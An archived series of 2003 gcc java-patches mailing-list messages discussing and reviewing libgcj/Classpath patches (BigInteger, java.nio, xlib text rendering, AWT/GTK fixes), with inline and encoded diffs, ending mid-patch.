java-patches-return-6196-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 18:01:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1443 invoked by alias); 18 Feb 2003 18:01:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1391 invoked from network); 18 Feb 2003 18:01:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 18:01:38 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA17218; Tue, 18 Feb 2003 11:01:37 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4CDB04F8072; Tue, 18 Feb 2003 10:52:18 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: BigInteger again From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Am I elected yet? Date: 18 Feb 2003 10:52:17 -0700 Message-ID: <87of59cw8e.fsf@fleche.redhat.com> Lines: 88 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3, 3.4, and Classpath. Raif updated his patch to remove a couple unused variables (leaving those in was my fault) and also to be a bit more efficient. Tom Index: ChangeLog from Raif S. Naffah * java/math/BigInteger.java (euclidInv): Take result array as an argument. Updated all callers. (modInverse): Removed unused variables. Index: java/math/BigInteger.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/math/BigInteger.java,v retrieving revision 1.18 diff -u -r1.18 BigInteger.java --- java/math/BigInteger.java 17 Feb 2003 23:15:56 -0000 1.18 +++ java/math/BigInteger.java 18 Feb 2003 17:28:02 -0000 @@ -1017,8 +1017,8 @@ return xy; } - private static final BigInteger[] euclidInv(BigInteger a, BigInteger b, - BigInteger prevDiv) + private static final void euclidInv(BigInteger a, BigInteger b, + BigInteger prevDiv, BigInteger[] xy) { if (b.isZero()) throw new ArithmeticException("not invertible"); @@ -1027,20 +1027,19 @@ { // Success: values are indeed invertible! // Bottom of the recursion reached; start unwinding. - return new BigInteger[] { neg(prevDiv), ONE }; + xy[0] = neg(prevDiv); + xy[1] = ONE; + return; } - BigInteger[] result; // Recursion happens in the following conditional! // If a just contains an int, then use integer math for the rest. if (a.words == null) { int[] xyInt = euclidInv(b.ival, a.ival % b.ival, a.ival / b.ival); - result = new BigInteger[] { // non-shared BI - new BigInteger(xyInt[0]), - new BigInteger(xyInt[1]) - }; + xy[0] = new BigInteger(xyInt[0]); + xy[1] = new BigInteger(xyInt[1]); } else { @@ -1050,13 +1049,12 @@ // quot and rem may not be in canonical form. ensure rem.canonicalize(); quot.canonicalize(); - result = euclidInv(b, rem, quot); + euclidInv(b, rem, quot, xy); } - BigInteger t = result[0]; - result[0] = add(result[1], times(t, prevDiv), -1); - result[1] = t; - return result; + BigInteger t = xy[0]; + xy[0] = add(xy[1], times(t, prevDiv), -1); + xy[1] = t; } public BigInteger modInverse(BigInteger y) @@ -1124,9 +1122,8 @@ // quot and rem may not be in canonical form. ensure rem.canonicalize(); quot.canonicalize(); - BigInteger xy0 = new BigInteger(); - BigInteger xy1 = new BigInteger(); - BigInteger[] xy = euclidInv(y, rem, quot); + BigInteger[] xy = new BigInteger[2]; + euclidInv(y, rem, quot, xy); result = swapped ? xy[0] : xy[1]; // Result can't be negative, so make it positive by adding the From java-patches-return-6197-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 18:04:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3441 invoked by alias); 18 Feb 2003 18:04:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3429 invoked from network); 18 Feb 2003 18:04:44 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 18:04:44 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA17743; Tue, 18 Feb 2003 11:04:22 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3C8E34F8072; Tue, 18 Feb 2003 10:55:05 -0700 (MST) To: Ronald Landheer-Cieslak Cc: Andrew Haley , , Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I was born in a Hostess Cupcake factory before the sexual revolution! Date: 18 Feb 2003 10:55:05 -0700 In-Reply-To: Message-ID: <87k7fxcw3q.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ronald" == Ronald Landheer-Cieslak writes: Ronald> If you wish, I can fill in a problem report describing the Ronald> problem in a bit more detail, but I'm afraid that's about all Ronald> I can do. Fair enough. Please do that. Thanks. Ronald> You should know that I am the first developer in my company Ronald> that has any experience at all with free software - and thus I Ronald> am the only advocate for free software here. Hopefully soon there will be more :-) Tom From java-patches-return-6198-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 18:05:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4034 invoked by alias); 18 Feb 2003 18:05:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4027 invoked from network); 18 Feb 2003 18:05:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 18:05:02 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA17952; Tue, 18 Feb 2003 11:05:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2094C4F8072; Tue, 18 Feb 2003 10:55:44 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.Graphics2D References: <200302180936.56485.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Intra-mural sports results are filtering through th' plumbing... Date: 18 Feb 2003 10:55:44 -0700 In-Reply-To: <200302180936.56485.konqueror@gmx.de> Message-ID: <87fzqlcw2n.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> This patch fixes java.awt.Graphics2D. Please review and comment. Looks good. Please check it in. I think only the java.awt part needs to go in Classpath. Tom From java-patches-return-6199-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 18:10:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6846 invoked by alias); 18 Feb 2003 18:10:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6832 invoked from network); 18 Feb 2003 18:10:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 18:10:11 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAB19348; Tue, 18 Feb 2003 11:10:08 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B4FB04F8072; Tue, 18 Feb 2003 11:00:51 -0700 (MST) To: Rainer Orth Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: 3.3 PATCH: Fix libjava bootstrap failure on Tru64 UNIX References: <15954.17118.560535.961535@xayide.TechFak.Uni-Bielefeld.DE> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: All I can think of is a platter of organic PRUNE CRISPS being trampled by an army of swarthy, Italian LOUNGE SINGERS... Date: 18 Feb 2003 11:00:51 -0700 In-Reply-To: <15954.17118.560535.961535@xayide.TechFak.Uni-Bielefeld.DE> Message-ID: <87bs19cvu4.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Rainer" == Rainer Orth writes: Rainer> With those changes, 3.3 bootstraps successfully. Rainer> Ok for the 3.3 branch? Yes, thanks. I think this should go on the trunk as well. Tom From java-patches-return-6200-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 18:12:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9086 invoked by alias); 18 Feb 2003 18:12:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9067 invoked from network); 18 Feb 2003 18:12:55 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 18:12:55 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA20136; Tue, 18 Feb 2003 11:12:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C28004F8072; Tue, 18 Feb 2003 11:03:36 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.nio -- important, please test on your platform References: <200302141345.02102.konqueror@gmx.de> <200302151041.50645.konqueror@gmx.de> <87d6lqii8v.fsf@fleche.redhat.com> <200302180941.59252.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Is this an out-take from the ``BRADY BUNCH''? Date: 18 Feb 2003 11:03:36 -0700 In-Reply-To: <200302180941.59252.konqueror@gmx.de> Message-ID: <877kbxcvpj.fsf@fleche.redhat.com> Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> The implementation is far from working in CVS. I have to Michael> submit some more patches soon. Currently I rewrite Michael> java.io.FileInputStream to use java.nio.FileChannel. Cool. One of the big unmerged areas between Classpath and libgcj is the charset conversion code. I've been hoping we could switch everything over to use java.nio instead of picking an implementation. Does that seem reasonable? What about efficiency? And can the java.nio converters still use iconv as a fallback? Michael> With the news item we should at least wait until some Michael> examples work from a fresh unpatched CVS checkout. ;-) Yeah. Let me know when that happens. Or, just submit a patch to index.html :-) Tom From java-patches-return-6201-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 18:29:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27144 invoked by alias); 18 Feb 2003 18:29:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27128 invoked from network); 18 Feb 2003 18:29:28 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 18 Feb 2003 18:29:28 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id LAA24900; Tue, 18 Feb 2003 11:29:25 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1A9004F8072; Tue, 18 Feb 2003 11:20:08 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: PATCH: xlib support for 16-bit characters when rendering text References: <021701c2cbd0$932162b0$3c16a8c0@mantatest.com> <87d6lzv4bg.fsf@fleche.redhat.com> <02a701c2d1fa$fa2da600$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Hey, wait a minute!! I want a divorce!!.. you're not Clint Eastwood!! Date: 18 Feb 2003 11:20:08 -0700 In-Reply-To: <02a701c2d1fa$fa2da600$3c16a8c0@mantatest.com> Message-ID: <87wujxbgdj.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> The only concern I have is that it will map directly to the Scott> character set of the font you're using, which might not be Scott> unicode. I think solving that (i.e., re-mapping the characters Scott> from unicode to other encodings) would be a big job, but we Scott> could include a FIXME comment to that effect. Yes, please add that and send the patch again. Thanks. BTW, I haven't forgotten about your other patches. I still have a small patch backlog which I'll work through later this week (I have to do some real work for a change ;-). Tom From java-patches-return-6202-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 20:24:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32548 invoked by alias); 18 Feb 2003 20:24:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32522 invoked from network); 18 Feb 2003 20:24:54 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by 172.16.49.205 with SMTP; 18 Feb 2003 20:24:54 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id DA7A244B00 for ; Tue, 18 Feb 2003 15:28:06 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Tue, 18 Feb 2003 15:21:34 -0500 Message-ID: <067d01c2d78b$6694d0d0$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Cc: References: <021701c2cbd0$932162b0$3c16a8c0@mantatest.com><87d6lzv4bg.fsf@fleche.redhat.com><02a701c2d1fa$fa2da600$3c16a8c0@mantatest.com> <87wujxbgdj.fsf@fleche.redhat.com> Subject: Re: PATCH: xlib support for 16-bit characters when rendering text Date: Tue, 18 Feb 2003 15:22:04 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_067A_01C2D761.7DB41A70" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_067A_01C2D761.7DB41A70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit > Scott> The only concern I have is that it will map directly to the > Scott> character set of the font you're using, which might not be > Scott> unicode. I think solving that (i.e., re-mapping the characters > Scott> from unicode to other encodings) would be a big job, but we > Scott> could include a FIXME comment to that effect. > Tom> Yes, please add that and send the patch again. Thanks. Added FIXME comments, with my understanding of what ought to be done in future. Patch attached. Index: libjava/ChangeLog from Scott Gilbertson * libjava/gnu/gcj/xlib/natFont.cc (getStringWidth) : support 16-bit characters * libjava/gnu/gcj/xlib/natGC.cc (drawString) : support 16-bit characters ------=_NextPart_000_067A_01C2D761.7DB41A70 Content-Type: application/octet-stream; name="20030218_16BitText.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030218_16BitText.patch" diff -r -up gcc.patched/libjava/gnu/gcj/xlib/natFont.cc = gcc/libjava/gnu/gcj/xlib/natFont.cc=0A= --- gcc.patched/libjava/gnu/gcj/xlib/natFont.cc 2003-02-18 = 15:20:50.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/natFont.cc 2003-02-18 15:26:58.000000000 = -0500=0A= @@ -69,13 +69,20 @@ jint gnu::gcj::xlib::Font::getStringWidt=0A= {=0A= XFontStruct* fontStruct =3D (XFontStruct*) structure;=0A= =0A= - // FIXME: make proper unicode conversion=0A= - int len =3D JvGetStringUTFLength(text);=0A= - char ctxt[len+1];=0A= - JvGetStringUTFRegion(text, 0, text->length(), ctxt);=0A= - ctxt[len] =3D '\0';=0A= - int width =3D XTextWidth(fontStruct, ctxt, len);=0A= - return width;=0A= + // FIXME: Convert to the character set used in the font, which may or = may not=0A= + // be unicode. For now, treat everything as 16-bit and use character = codes=0A= + // directly, which should be OK for unicode or 8-bit ascii fonts.=0A= + jint length =3D text->length();=0A= + jchar* txt =3D JvGetStringChars(text);=0A= + XChar2b xwchars[length];=0A= + for (int i=3D0; ibyte1 =3D (jc >> 8) & 0xff;=0A= + xc->byte2 =3D jc & 0xff;=0A= + }=0A= + return XTextWidth16(fontStruct, xwchars, length);=0A= }=0A= =0A= void gnu::gcj::xlib::Font::finalize()=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/natGC.cc = gcc/libjava/gnu/gcj/xlib/natGC.cc=0A= --- gcc.patched/libjava/gnu/gcj/xlib/natGC.cc 2003-02-18 = 15:20:50.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/natGC.cc 2003-02-18 15:27:20.000000000 -0500=0A= @@ -95,34 +95,22 @@ void gnu::gcj::xlib::GC::drawString(jstr=0A= ::Drawable drawableXID =3D target->getXID();=0A= ::GC gc =3D (::GC) structure;=0A= =0A= - /*=0A= - FIXME: do something along the lines of the following instead:=0A= + jint length =3D text->length();=0A= + jchar* txt =3D JvGetStringChars(text);=0A= =0A= - jint length =3D text->length();=0A= - jchar* txt =3D JvGetStringChars(text);=0A= + XChar2b xwchars[length];=0A= =0A= - XChar2b xwchars[length];=0A= - =0A= - // FIXME: Add convertion and caching=0A= -=0A= - for (int i=3D0; ibyte1 =3D jc & 0xff;=0A= - xc->byte2 =3D jc >> 8;=0A= - }=0A= -=0A= - XDrawString16(dpy, drawableXID, gc, x, y, xwchars, length);=0A= - */=0A= - =0A= - // FIXME, temporary code:=0A= - int len =3D JvGetStringUTFLength(text);=0A= - char ctxt[len+1];=0A= - JvGetStringUTFRegion(text, 0, text->length(), ctxt);=0A= - ctxt[len] =3D '\0';=0A= - XDrawString(dpy, drawableXID, gc, x, y, ctxt, len);=0A= - // no fast fail=0A= + // FIXME: Convert to the character set used in the font, which may or = may not=0A= + // be unicode. For now, treat everything as 16-bit and use character = codes=0A= + // directly, which should be OK for unicode or 8-bit ascii fonts.=0A= + for (int i=3D0; ibyte1 =3D (jc >> 8) & 0xff;=0A= + xc->byte2 =3D jc & 0xff;=0A= + }=0A= + XDrawString16(dpy, drawableXID, gc, x, y, xwchars, length);=0A= }=0A= =0A= void gnu::gcj::xlib::GC::drawLine(jint x1, jint y1, jint x2, jint y2)=0A= ------=_NextPart_000_067A_01C2D761.7DB41A70-- From java-patches-return-6203-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 19 01:00:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24850 invoked by alias); 19 Feb 2003 01:00:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24836 invoked from network); 19 Feb 2003 01:00:01 -0000 Received: from unknown (HELO palrel11.hp.com) (156.153.255.246) by 172.16.49.205 with SMTP; 19 Feb 2003 01:00:01 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel11.hp.com (Postfix) with ESMTP id 3EA9A1C01DC9; Tue, 18 Feb 2003 17:00:01 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h1J100o13680; Tue, 18 Feb 2003 17:00:00 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Tue, 18 Feb 2003 16:59:59 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id <17LK073K>; Tue, 18 Feb 2003 16:59:59 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA136B3@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" , "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" Subject: RE: Possible awt patches Date: Tue, 18 Feb 2003 16:59:59 -0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C2D7B2.39AB18A0" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2D7B2.39AB18A0 Content-Type: text/plain; charset="iso-8859-1" For the record, I attached the patch I checked into the gcc trunk. I don't have a Classpath tree, so I would appreciate it if Tom could check it on there. I changed a few things from the last version I sent out: - A minor fix to the ChangeLog. - A fix for setFont on buttons, so that it actually works. - I removed the parentheses from the return statements. (This makes the patch less consistent with what was there before, but presumably that's temporary?) - I changed getPreferredSize for peer-less text areas to return Dimension(0,0) which seems to be what Sun's JDK does. It looks like I'm still having trouble getting some events from at least TextAreas and Checkboxes. But otherwise things are starting to look OK. Hans > -----Original Message----- > From: Tom Tromey [mailto:tromey@redhat.com] > Sent: Sunday, February 16, 2003 2:41 PM > To: Boehm, Hans > Cc: 'java-patches@gcc.gnu.org' > Subject: Re: Possible awt patches > > > >>>>> "Hans" == Boehm, Hans writes: > > Hans> Here is a bigger version of the patch. It fixes enough bugs to > Hans> almost make CRCalc usable. (CRCalc works if you use purely the > Hans> mouse and not the keyboard.) I have a bit more confidence in > Hans> this version as a result. > > This looks good to me. > > Hans> I'm still not positive about the guesses for getPreferredSize. > Hans> If I take those out, I get NullPointerExceptions on the result, > Hans> but those seem to be caught somewhere. I'd be inclined to put > Hans> in the guess, simply because it makes debugging easier. > > Yeah. Did you try to find out what the JDK does in this situation? > > Hans> The setFont part of the patch is also a bit dubious. I don't > Hans> think it's quite doing the right thing. > Hans> [ ... ] > Hans> Hence I would like to check it in, at least in the absence of a > Hans> better patch by a GTK expert. > > Sounds good. > > Hans> OK for trunk? What about 3.3? > > I've only been putting AWT fixes on the trunk since the peers aren't > in 3.3. > > There are a couple places in the patch where `return (...)' should be > written without the parens. Please fix those. > > Finally, can you check this in to Classpath as well? If not, send me > the updated patch and I will do it. The AWT code is kept in pretty > close synchronization (which reminds me; some AWT changes went into > Classpath recently; I'll bring them over in the near future.) > > Tom > ------_=_NextPart_000_01C2D7B2.39AB18A0 Content-Type: application/octet-stream; name="0218awtdiffs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="0218awtdiffs" 2003-02-18 Hans Boehm =0A= =0A= * gnu/awt/xlib/XToolkit.java (getFontMetrics): initialize=0A= if necessary.=0A= =0A= * gnu/java/awt/peer/gtk/GtkButtonPeer.java,=0A= gnu/java/awt/peer/gtk/GtkTextAreaPeer.java,=0A= gnu/java/awt/peer/gtk/GtkTextFieldPeer.java,=0A= jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c,=0A= jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c,=0A= jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c=0A= (setFont, gtkSetFont): add.=0A= gnu/java/awt/peer/gtk/GtkComponentPeer.java (GtkComponentPeer):=0A= Propagate font to peer. (setFont): add FIXME comment.=0A= =0A= * jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c=0A= (gtkTextGetSize): fix height, width computation.=0A= =0A= * gnu/java/awt/peer/gtk/GtkFontPeer.java (GtkFontPeer):=0A= Make X font name a bit less bogus.=0A= =0A= * jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c=0A= (post_adjustment_event): Pass on GTK_SCROLL_NONE.=0A= =0A= * java/awt/Scrollbar.java (setValues): Fix visibleAmount range = check.=0A= (processAdjustmentEvent): Adjust value.=0A= =0A= * java/awt/FlowLayout.java (layoutContainer) Fix 2 indexing and one=0A= logic errors.=0A= =0A= * java/awt/Component.java (setVisible, show, hide): Call show and=0A= hide methods in subclasses.=0A= (getPreferredSize): don't set prefSize before we have peer.=0A= =0A= * java/awt/TextArea.java, java/awt/TextField.java = (getPreferredSize):=0A= Guess (0,0) if we don't have peer.=0A= =0A= =0A= Index: gnu/awt/xlib/XToolkit.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/gnu/awt/xlib/XToolkit.java,v=0A= retrieving revision 1.4=0A= diff -u -r1.4 XToolkit.java=0A= --- gnu/awt/xlib/XToolkit.java 15 Jan 2003 23:18:58 -0000 1.4=0A= +++ gnu/awt/xlib/XToolkit.java 19 Feb 2003 00:29:08 -0000=0A= @@ -183,7 +183,7 @@=0A= =0A= public FontMetrics getFontMetrics(Font font)=0A= {=0A= - return defaultConfig.getXFontMetrics(font);=0A= + return = getDefaultXGraphicsConfiguration().getXFontMetrics(font);=0A= }=0A= =0A= public void sync()=0A= Index: gnu/java/awt/peer/gtk/GtkButtonPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkButtonPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkButtonPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkButtonPeer.java 31 Jan 2003 17:54:13 -0000 = 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkButtonPeer.java 19 Feb 2003 00:29:08 = -0000=0A= @@ -47,6 +47,8 @@=0A= {=0A= native void create ();=0A= =0A= + native void gtkSetFont(String xlfd, int size);=0A= +=0A= public GtkButtonPeer (Button b)=0A= {=0A= super (b);=0A= @@ -85,5 +87,10 @@=0A= super.getArgs (component, args);=0A= =0A= args.add ("label", ((Button)component).getLabel ());=0A= + }=0A= +=0A= + public void setFont (Font f)=0A= + {=0A= + gtkSetFont(((GtkFontPeer)f.getPeer()).getXLFD(), f.getSize());=0A= }=0A= }=0A= Index: gnu/java/awt/peer/gtk/GtkTextAreaPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkTextAreaPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkTextAreaPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkTextAreaPeer.java 31 Jan 2003 17:54:13 = -0000 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkTextAreaPeer.java 19 Feb 2003 00:29:08 = -0000=0A= @@ -45,6 +45,8 @@=0A= {=0A= native void create (int scrollbarVisibility);=0A= =0A= + native void gtkSetFont(String xlfd, int size);=0A= +=0A= void create ()=0A= {=0A= create (((TextArea)awtComponent).getScrollbarVisibility ());=0A= @@ -98,5 +100,10 @@=0A= public void insertText (String str, int pos)=0A= {=0A= insert (str, pos);=0A= + }=0A= +=0A= + public void setFont (Font f)=0A= + {=0A= + gtkSetFont(((GtkFontPeer)f.getPeer()).getXLFD(), f.getSize());=0A= }=0A= }=0A= Index: gnu/java/awt/peer/gtk/GtkTextFieldPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkTextFieldPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkTextFieldPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkTextFieldPeer.java 31 Jan 2003 17:54:13 = -0000 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkTextFieldPeer.java 19 Feb 2003 